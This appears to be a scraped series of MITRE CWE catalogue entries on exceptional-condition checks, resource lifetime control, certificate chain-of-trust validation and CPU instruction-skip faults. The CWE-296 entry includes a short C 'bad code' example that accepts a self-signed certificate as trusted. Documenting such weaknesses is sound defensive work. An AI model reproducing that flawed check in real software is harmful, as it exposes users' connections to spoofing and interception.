Automated static analysis may be useful for detecting unusual conditions involving system resources or common programming idioms, but not for violations of business rules.

Effectiveness: Moderate

Manual Dynamic Analysis
Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 742 CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 802 2010 Top 25 - Risky Resource Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 867 2011 Top 25 - Weaknesses On the Cusp
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 876 CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 880 CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 962 SFP Secondary Cluster: Unchecked Status Condition
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1141 SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1181 SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1364 ICS Communications: Zone Boundary Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1405 Comprehensive Categorization: Improper Check or Handling of Exceptional Conditions
+ Vulnerability Mapping Notes
Usage ALLOWED-WITH-REVIEW
(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)
Reason Abstraction

Rationale

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments

Examine children of this entry to see if there is a better fit
+ Notes

Relationship

Sometimes, when a return value can be used to indicate an error, an unchecked return value is a code-layer instance of a missing application-layer check for exceptional conditions. However, return values are not always needed to communicate exceptional conditions. For example, expiration of resources, values passed by reference, asynchronously modified data, sockets, etc. may indicate exceptional conditions without the use of a return value.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
SEI CERT Perl Coding Standard EXP31-PL CWE More Abstract Do not suppress or ignore exceptions
ISA/IEC 62443 Part 4-2 Req CR 3.5
ISA/IEC 62443 Part 4-2 Req CR 3.7
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Program Building Blocks" Page 341. 1st Edition. Addison Wesley. 2006.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 1, "Exceptional Conditions," Page 22. 1st Edition. Addison Wesley. 2006.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 11: Failure to Handle Errors Correctly." Page 183. McGraw-Hill. 2010.
[REF-622] Frank Kim. "Top 25 Series - Rank 15 - Improper Check for Unusual or Exceptional Conditions". SANS Software Security Institute. 2010-03-15.
<https://www.sans.org/blog/top-25-series-rank-15-improper-check-for-unusual-or-exceptional-conditions/>. (URL validated: 2023-04-07)
+ Content History
+ Submissions
Submission Date Submitter Organization
2009-03-03
(CWE 1.3, 2009-03-10) 		CWE Content Team MITRE
New entry for reorganization of CWE-703.
+ Contributions
Contribution Date Contributor Organization
2023-04-25 "Mapping CWE to 62443" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
+ Modifications
Modification Date Modifier Organization
2024-07-16
(CWE 4.15, 2024-07-16) 		CWE Content Team MITRE
updated Relationships
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Observed_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated References, Relationships, Taxonomy_Mappings
2023-01-31 CWE Content Team MITRE
updated Description, Potential_Mitigations
2022-04-28 CWE Content Team MITRE
updated Relationships
2021-07-20 CWE Content Team MITRE
updated Relationships
2021-03-15 CWE Content Team MITRE
updated Demonstrative_Examples, Relationships
2020-12-10 CWE Content Team MITRE
updated Potential_Mitigations
2020-06-25 CWE Content Team MITRE
updated Potential_Mitigations
2020-02-24 CWE Content Team MITRE
updated Potential_Mitigations, Relationships
2019-06-20 CWE Content Team MITRE
updated Description, Relationships
2019-01-03 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2017-11-08 CWE Content Team MITRE
updated Modes_of_Introduction, References, Relationships, Taxonomy_Mappings
2017-01-19 CWE Content Team MITRE
updated Relationships
2015-12-07 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Demonstrative_Examples, Relationships
2013-02-21 CWE Content Team MITRE
updated Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated Relationships
2011-09-13 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2011-06-27 CWE Content Team MITRE
updated Common_Consequences, Related_Attack_Patterns, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2011-03-29 CWE Content Team MITRE
updated Description, Relationships
2010-12-13 CWE Content Team MITRE
updated Relationship_Notes
2010-09-27 CWE Content Team MITRE
updated Potential_Mitigations
2010-06-21 CWE Content Team MITRE
updated Common_Consequences, Detection_Factors, Potential_Mitigations, References
2010-04-05 CWE Content Team MITRE
updated Demonstrative_Examples, Related_Attack_Patterns
2010-02-16 CWE Content Team MITRE
updated Background_Details, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Name, Observed_Examples, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships
2009-12-28 CWE Content Team MITRE
updated Applicable_Platforms, Likelihood_of_Exploit, Time_of_Introduction
2009-07-27 CWE Content Team MITRE
updated Relationships
+ Previous Entry Names
Change Date Previous Entry Name
2010-02-16 Improper Check for Exceptional Conditions
Back to top

CWE-664: Improper Control of a Resource Through its Lifetime

Weakness ID: 664
Vulnerability Mapping: DISCOURAGED This CWE ID should not be used to map to real-world vulnerabilities
Abstraction: Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.
View customized information:
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+ Description
The product does not maintain or incorrectly maintains control over a resource throughout its lifetime of creation, use, and release.
+ Extended Description

Resources often have explicit instructions on how to be created, used and destroyed. When code does not follow these instructions, it can lead to unexpected behaviors and potentially exploitable states.

Even without explicit instructions, various principles are expected to be adhered to, such as "Do not use an object until after its creation is complete," or "do not use an object after it has been slated for destruction."

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Other

Scope: Other

+ Potential Mitigations
Phase(s) Mitigation

Testing
Use Static analysis tools to check for unreleased resources.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
MemberOf View View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1000 Research Concepts
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 118 Incorrect Access of Indexable Resource ('Range Error')
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 221 Information Loss or Omission
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 372 Incomplete Internal State Distinction
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 400 Uncontrolled Resource Consumption
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 404 Improper Resource Shutdown or Release
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 410 Insufficient Resource Pool
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 471 Modification of Assumed-Immutable Data (MAID)
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 487 Reliance on Package-level Scope
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 495 Private Data Structure Returned From A Public Method
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 496 Public Data Assigned to Private Array-Typed Field
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 501 Trust Boundary Violation
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 580 clone() Method Without super.clone()
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 610 Externally Controlled Reference to a Resource in Another Sphere
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 662 Improper Synchronization
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 665 Improper Initialization
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 666 Operation on Resource in Wrong Phase of Lifetime
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 668 Exposure of Resource to Wrong Sphere
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 669 Incorrect Resource Transfer Between Spheres
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 673 External Influence of Sphere Definition
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 704 Incorrect Type Conversion or Cast
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 706 Use of Incorrectly-Resolved Name or Reference
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 911 Improper Update of Reference Count
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 913 Improper Control of Dynamically-Managed Code Resources
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 922 Insecure Storage of Sensitive Information
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1229 Creation of Emergent Resource
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1250 Improper Preservation of Consistency Between Independent Representations of Shared State
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1329 Reliance on Component That is Not Updateable
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Cryptography API uses unsafe reflection when deserializing a private key
Chain: Python library does not limit the resources used to process images that specify a very large number of bands (CWE-1284), leading to excessive memory consumption (CWE-789) or an integer overflow (CWE-190).
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 984 SFP Secondary Cluster: Life Cycle
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1163 SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1370 ICS Supply Chain: Common Mode Frailties
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1416 Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes
Usage DISCOURAGED
(this CWE ID should not be used to map to real-world vulnerabilities)
Reason Abstraction

Rationale

This CWE entry is high-level when lower-level children are available.

Comments

Consider children or descendants of this entry instead.
+ Notes

Maintenance

More work is needed on this entry and its children. There are perspective/layering issues; for example, one breakdown is based on lifecycle phase (CWE-404, CWE-665), while other children are independent of lifecycle, such as CWE-400. Others do not specify as many bases or variants, such as CWE-704, which primarily covers numbers at this stage.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
CERT C Secure Coding FIO39-C CWE More Abstract Do not alternately input and output from a stream without an intervening flush or positioning call
+ Content History
+ Submissions
Submission Date Submitter Organization
2008-04-11
(CWE Draft 9, 2008-04-11) 		CWE Content Team MITRE
+ Modifications
Modification Date Modifier Organization
2023-10-26 CWE Content Team MITRE
updated Observed_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Description, Relationships
2022-10-13 CWE Content Team MITRE
updated Relationships
2021-03-15 CWE Content Team MITRE
updated Maintenance_Notes, Relationships
2020-12-10 CWE Content Team MITRE
updated Relationships
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-06-25 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Applicable_Platforms, Relationships, Type
2019-06-20 CWE Content Team MITRE
updated Relationships
2019-01-03 CWE Content Team MITRE
updated Relationships
2018-03-27 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2017-01-19 CWE Content Team MITRE
updated Relationships
2015-12-07 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2013-07-17 CWE Content Team MITRE
updated Relationships
2013-02-21 CWE Content Team MITRE
updated Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships
2011-03-29 CWE Content Team MITRE
updated Relationships
2010-12-13 CWE Content Team MITRE
updated Description, Relationships
2010-02-16 CWE Content Team MITRE
updated Relationships
2009-07-27 CWE Content Team MITRE
updated Relationships
2009-05-27 CWE Content Team MITRE
updated Description, Name, Relationships
2009-03-10 CWE Content Team MITRE
updated Related_Attack_Patterns
2008-09-08 CWE Content Team MITRE
updated Description, Maintenance_Notes, Relationships, Type
2008-07-01 Eric Dalci Cigital
updated Potential_Mitigations, Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2009-05-27 Insufficient Control of a Resource Through its Lifetime
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CWE-296: Improper Following of a Certificate's Chain of Trust

Weakness ID: 296
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
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+ Description
The product does not follow, or incorrectly follows, the chain of trust for a certificate back to a trusted root certificate, resulting in incorrect trust of any resource that is associated with that certificate.
+ Extended Description

If a system does not follow the chain of trust of a certificate to a root server, the certificate loses all usefulness as a metric of trust. Essentially, the trust gained from a certificate is derived from a chain of trust -- with a reputable trusted entity at the end of that list. The end user must trust that reputable source, and this reputable source must vouch for the resource in question through the medium of the certificate.

In some cases, this trust traverses several entities who vouch for one another. The entity trusted by the end user is at one end of this trust chain, while the certificate-wielding resource is at the other end of the chain. If the user receives a certificate at the end of one of these trust chains and then proceeds to check only that the first link in the chain, no real trust has been derived, since the entire chain must be traversed back to a trusted source to verify the certificate.

There are several ways in which the chain of trust might be broken, including but not limited to:

  • Any certificate in the chain is self-signed, unless it the root.
  • Not every intermediate certificate is checked, starting from the original certificate all the way up to the root certificate.
  • An intermediate, CA-signed certificate does not have the expected Basic Constraints or other important extensions.
  • The root certificate has been compromised or authorized to the wrong party.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Hide Activities

Scope: Non-Repudiation

Exploitation of this flaw can lead to the trust of data that may have originated with a spoofed source.

Gain Privileges or Assume Identity; Execute Unauthorized Code or Commands

Scope: Integrity, Confidentiality, Availability, Access Control

Data, requests, or actions taken by the attacking entity can be carried out as a spoofed benign entity.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design
Ensure that proper certificate checking is included in the system design.

Implementation
Understand, and properly implement all checks necessary to ensure the integrity of certificate trust integrity.

Implementation
If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the full chain of trust.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 295 Improper Certificate Validation
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 573 Improper Following of Specification by Caller
PeerOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 370 Missing Check for Certificate Revocation after Initial Check
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1014 Identify Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation When the product uses certificate pinning, the developer might not properly validate all relevant components of the certificate before pinning the certificate. This can make it difficult or expensive to test after the pinning is complete.
Implementation REALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Likelihood Of Exploit
Low
+ Demonstrative Examples

Example 1


This code checks the certificate of a connected peer.

(bad code)
Example Language: C 
if ((cert = SSL_get_peer_certificate(ssl)) && host)
foo=SSL_get_verify_result(ssl);

if ((X509_V_OK==foo) || X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN==foo))

// certificate looks good, host can be trusted

In this case, because the certificate is self-signed, there was no external authority that could prove the identity of the host. The program could be communicating with a different system that is spoofing the host, e.g. by poisoning the DNS cache or using an Adversary-in-the-Middle (AITM) attack to modify the traffic from server to client.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Server allows bypass of certificate pinning by sending a chain of trust that includes a trusted CA that is not pinned.
Verification function trusts certificate chains in which the last certificate is self-signed.
Chain: Web browser uses a TLS-related function incorrectly, preventing it from verifying that a server's certificate is signed by a trusted certification authority (CA).
Web browser does not check if any intermediate certificates are revoked.
chain: DNS server does not correctly check return value from the OpenSSL EVP_VerifyFinal function allows bypass of validation of the certificate chain.
chain: incorrect check of return value from the OpenSSL EVP_VerifyFinal function allows bypass of validation of the certificate chain.
File-transfer software does not validate Basic Constraints of an intermediate CA-signed certificate.
Cryptographic API, as used in web browsers, mail clients, and other software, does not properly validate Basic Constraints.
+ Detection Methods
Method Details

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 724 OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 948 SFP Secondary Cluster: Digital Certificate
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1346 OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1382 ICS Operations (& Maintenance): Emerging Energy Technologies
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
CLASP Failure to follow chain of trust in certificate validation
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005.
<https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>. (URL validated: 2024-11-17)
[REF-245] Martin Georgiev, Subodh Iyengar, Suman Jana, Rishita Anubhai, Dan Boneh and Vitaly Shmatikov. "The Most Dangerous Code in the World: Validating SSL Certificates in Non-Browser Software". 2012-10-25.
<http://www.cs.utexas.edu/~shmat/shmat_ccs12.pdf>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 23: Improper Use of PKI, Especially SSL." Page 347. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		CLASP
+ Modifications
Modification Date Modifier Organization
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-01-31 CWE Content Team MITRE
updated Description, Modes_of_Introduction
2022-04-28 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2021-07-20 CWE Content Team MITRE
updated Demonstrative_Examples
2020-02-24 CWE Content Team MITRE
updated Demonstrative_Examples, References, Relationships
2019-09-19 CWE Content Team MITRE
updated Demonstrative_Examples
2018-03-27 CWE Content Team MITRE
updated Modes_of_Introduction, Observed_Examples, Potential_Mitigations, Time_of_Introduction
2017-11-08 CWE Content Team MITRE
updated Demonstrative_Examples, Modes_of_Introduction, References, Relationships
2014-07-30 CWE Content Team MITRE
updated Demonstrative_Examples, Relationships
2013-07-17 CWE Content Team MITRE
updated Relationships
2013-02-21 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Name, Observed_Examples, Other_Notes, References, Relationships
2012-05-11 CWE Content Team MITRE
updated References, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2010-12-13 CWE Content Team MITRE
updated Other_Notes
2009-07-27 CWE Content Team MITRE
updated Demonstrative_Examples
2009-05-27 CWE Content Team MITRE
updated Demonstrative_Examples
2009-03-10 CWE Content Team MITRE
updated Description, Name, Relationships
2008-09-08 CWE Content Team MITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2009-03-10 Failure to Follow Chain of Trust in Certificate Validation
2013-02-21 Improper Following of Chain of Trust for Certificate Validation
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CWE-1332: Improper Handling of Faults that Lead to Instruction Skips

Weakness ID: 1332
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
The device is missing or incorrectly implements circuitry or sensors that detect and mitigate the skipping of security-critical CPU instructions when they occur.
+ Extended Description

